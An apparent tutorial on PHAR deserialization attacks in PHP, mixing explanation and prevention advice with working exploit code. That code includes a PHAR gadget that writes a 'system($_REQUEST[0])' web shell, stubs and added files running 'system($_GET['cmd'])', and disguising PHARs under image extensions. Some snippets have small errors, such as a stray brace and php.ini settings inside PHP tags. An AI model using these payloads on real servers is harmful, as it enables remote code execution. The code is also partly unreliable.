Overview
PHAR (PHP Archive) deserialization is a sophisticated attack vector that exploits PHP’s automatic deserialization of metadata stored in PHAR files. Unlike traditional deserialization attacks that require explicit unserialize() calls, PHAR deserialization occurs automatically when certain file operations are performed on PHAR files, making it particularly dangerous and often overlooked.
What is PHAR?
PHAR (PHP Archive) is a packaging format for PHP applications, similar to JAR files for Java. It allows developers to package multiple PHP files into a single archive file with a .phar extension.
PHAR File Structure
A PHAR file consists of four main components:
- Stub: PHP code that executes when the PHAR is included
- Manifest: Metadata about files in the archive, including serialized objects
- File Contents: The actual files stored in the PHAR
- Signature: Cryptographic signature for integrity verification
1
2
3
4
5
6
7
8
9
| ┌─────────────┐
│ Stub │ ← PHP code executed when PHAR is loaded
├─────────────┤
│ Manifest │ ← Contains serialized metadata
├─────────────┤
│ File Contents│ ← Actual files in the archive
├─────────────┤
│ Signature │ ← Cryptographic signature
└─────────────┘
|
How PHAR Deserialization Works
Automatic Deserialization Trigger
PHAR deserialization occurs automatically when PHP performs certain file operations on PHAR files. The key insight is that PHP automatically deserializes the metadata stored in the PHAR manifest during these operations.
Triggering Functions
The following PHP functions trigger PHAR metadata deserialization when used with phar:// URLs:
file_exists()is_file()is_dir()file_get_contents()file_put_contents()fopen()copy()unlink()stat()readfile()include()require()
Example Vulnerable Code
1
2
3
4
5
6
7
8
9
10
11
| <?php
if (isset($_GET['file'])) {
$file = $_GET['file'];
if (strpos($file, 'phar://') === 0) {
if (file_exists($file)) { // ← Triggers deserialization
readfile($file);
}
}
}
?>
|
In this example, when $file is set to phar://path/to/exploit.phar, the file_exists() function automatically deserializes any metadata stored in the PHAR file.
The Deserialization Process
- PHAR Detection: PHP detects that the path starts with
phar:// - Manifest Reading: PHP reads the PHAR manifest from the file
- Metadata Deserialization: PHP automatically deserializes the metadata
- Object Reconstruction: PHP reconstructs any serialized objects
- Magic Method Execution: PHP calls magic methods like
__destruct() or __wakeup()
Creating PHAR Exploits
Basic PHAR Creation
1
2
3
4
5
6
7
8
9
10
11
| // Create PHAR file
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('file.txt', 'dummy content');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
// Set malicious object as metadata
$malicious = new MaliciousClass();
$phar->setMetadata($malicious);
$phar->stopBuffering();
?>
|
Advanced PHAR Exploitation
Using Existing Classes
Often, we can exploit existing classes in the application that have dangerous magic methods:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| <?php
// Target application's LogManager class
namespace app\classes {
class LogManager {
public $path = '/var/www/uploads/';
public $file = 'shell.php';
public $content = '<?php system($_REQUEST[0]); ?>';
}
}
}
// Create PHAR with malicious LogManager
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('file.txt', 'dummy');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$evil = new app\classes\LogManager();
$phar->setMetadata($evil);
$phar->stopBuffering();
?>
|
Magic Methods in PHAR Deserialization
Key Magic Methods
__destruct(): Called when object is destroyed__wakeup(): Called when object is unserialized__toString(): Called when object is used as string__call(): Called when inaccessible method is invoked__get(): Called when inaccessible property is accessed__set(): Called when inaccessible property is set
Destructor-Based Exploitation
The most common exploitation method uses __destruct():
1
2
3
4
5
6
7
8
9
10
11
12
13
| <?php
class FileWriter {
public $path;
public $content;
public function __destruct() {
file_put_contents($this->path, $this->content);
}
}
// When this object is deserialized and destroyed,
// it will write $content to $path
?>
|
Wakeup-Based Exploitation
1
2
3
4
5
6
7
8
9
10
11
12
| <?php
class CommandExecutor {
public $command;
public function __wakeup() {
system($this->command);
}
}
// When this object is deserialized,
// __wakeup() is called immediately
?>
|
Detection and Prevention
Detection Methods
- Code Review: Look for file operations on user-controlled paths
- Static Analysis: Scan for functions that trigger PHAR deserialization
- Dynamic Testing: Test with PHAR files to see if deserialization occurs
Prevention Strategies
1. Disable PHAR Support
1
2
3
4
5
6
| <?php
// Disable PHAR support entirely
if (strpos($file, 'phar://') === 0) {
die('PHAR files not allowed');
}
?>
|
2. Validate File Types
1
2
3
4
5
6
7
8
9
| <?php
// Check file extension and MIME type
$allowed_extensions = ['jpg', 'png', 'gif'];
$extension = pathinfo($file, PATHINFO_EXTENSION);
if (!in_array($extension, $allowed_extensions)) {
die('Invalid file type');
}
?>
|
3. Use Safe File Operations
1
2
3
4
5
6
7
8
9
| <?php
// Use realpath() to resolve paths
$real_path = realpath($file);
$allowed_dir = realpath('/var/www/uploads/');
if (strpos($real_path, $allowed_dir) !== 0) {
die('Access denied');
}
?>
|
4. Disable Dangerous Functions
1
2
3
4
| <?php
// In php.ini, disable dangerous functions
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
?>
|
Advanced Techniques
PHAR with Different Extensions
1
2
3
4
5
6
7
8
| <?php
// Create PHAR with various extensions
$extensions = ['jpg', 'png', 'gif', 'pdf', 'docx'];
foreach ($extensions as $ext) {
$phar = new Phar("exploit.$ext");
// ... set up malicious metadata
}
?>
|
PHAR with Custom Stubs
1
2
3
4
5
6
7
8
| <?php
// Custom stub that executes immediately
$phar->setStub('<?php
// Malicious code here
system($_GET["cmd"]);
__HALT_COMPILER();
?>');
?>
|
PHAR with Multiple Files
1
2
3
4
5
| <?php
// Add multiple files to PHAR
$phar->addFromString('shell.php', '<?php system($_GET["cmd"]); ?>');
$phar->addFromString('config.php', '<?php phpinfo(); ?>');
?>
|
- Manual Creation: Write PHP scripts to create PHAR files
- Online Generators: Web-based PHAR creation tools
- Automated Tools: Scripts that generate PHAR exploits
- PHAR Validators: Tools to validate PHAR file structure
- Deserialization Scanners: Tools that detect PHAR deserialization vulnerabilities
- Static Analysis: Code analysis tools that identify vulnerable patterns
Common Vulnerabilities
1. File Upload Handlers
1
2
3
4
5
6
| <?php
// Vulnerable pattern
if (file_exists($uploaded_file)) {
// Process file
}
?>
|
2. File Download Handlers
1
2
3
4
5
6
| <?php
// Vulnerable pattern
if (is_file($requested_file)) {
readfile($requested_file);
}
?>
|
3. File Inclusion
1
2
3
4
| <?php
// Vulnerable pattern
include($_GET['file']);
?>
|
4. File Operations
1
2
3
4
5
6
| <?php
// Vulnerable pattern
if (file_exists($user_file)) {
$content = file_get_contents($user_file);
}
?>
|
Best Practices
For Developers
- Never trust user input for file paths
- Validate file types and extensions
- Use whitelist approaches for allowed files
- Implement proper access controls
- Disable PHAR support if not needed
- Use safe file operations with proper validation
For Security Testers
- Test all file upload/download functionality
- Look for PHAR support in file operations
- Create PHAR files with malicious metadata
- Test different file extensions and MIME types
- Check for magic method exploitation
- Verify deserialization occurs during file operations
Conclusion
PHAR deserialization is a powerful and often overlooked attack vector that can lead to remote code execution. Understanding how PHAR files work, how deserialization is triggered, and how to prevent these attacks is crucial for both developers and security professionals. The key is to always validate user input and implement proper security controls around file operations.
References
Security Articles and Research